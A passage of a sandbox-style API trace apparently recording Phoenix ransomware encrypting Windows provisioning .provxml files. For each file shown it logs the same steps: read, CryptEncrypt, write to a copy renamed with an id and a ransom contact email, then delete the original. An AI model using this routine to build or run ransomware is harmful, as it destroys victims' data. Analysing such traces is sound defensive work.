	[0237.876] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.876] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0237.892] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.892] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.893] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0237.893] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.893] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.893] CryptDestroyKey (hKey=0x151200) returned 1
	[0237.893] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.893] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.893] CloseHandle (hObject=0x2c0) returned 1
	[0237.893] CloseHandle (hObject=0x2f0) returned 1
	[0237.894] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.917] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.917] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0237.917] CloseHandle (hObject=0x2f0) returned 1
	[0237.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0237.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.918] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.918] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0237.918] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.918] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0237.920] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.920] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.921] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0237.921] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.921] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.921] CryptDestroyKey (hKey=0x151180) returned 1
	[0237.921] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.921] CryptDestroyKey (hKey=0x151680) returned 1
	[0237.921] CloseHandle (hObject=0x2f0) returned 1
	[0237.921] CloseHandle (hObject=0x2c0) returned 1
	[0237.922] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml")) returned 1
	[0237.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.923] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.923] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=729) returned 1
	[0237.924] CloseHandle (hObject=0x2c0) returned 1
	[0237.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0237.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.924] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.924] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.925] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0237.925] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.925] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d9, lpOverlapped=0x0) returned 1
	[0237.928] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.928] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.930] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0237.930] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.930] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.930] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.930] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.930] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.930] CloseHandle (hObject=0x2c0) returned 1
	[0237.931] CloseHandle (hObject=0x2f0) returned 1
	[0237.932] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml")) returned 1
	[0237.933] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.934] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.935] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0237.935] CloseHandle (hObject=0x2f0) returned 1
	[0237.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0237.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.935] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.935] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.936] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0237.936] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.936] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0237.937] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.937] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0237.938] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.938] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.938] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.938] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.938] CryptDestroyKey (hKey=0x151680) returned 1
	[0237.938] CloseHandle (hObject=0x2f0) returned 1
	[0237.939] CloseHandle (hObject=0x2c0) returned 1
	[0237.939] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml")) returned 1
	[0237.940] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.940] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.940] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0237.940] CloseHandle (hObject=0x2c0) returned 1
	[0237.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml")) returned 0x20
	[0237.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.941] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.941] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.941] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0237.941] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.941] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0237.954] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.954] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.955] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0237.955] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.955] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.955] CryptDestroyKey (hKey=0x151080) returned 1
	[0237.955] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.955] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0237.955] CloseHandle (hObject=0x2c0) returned 1
	[0237.955] CloseHandle (hObject=0x2f0) returned 1
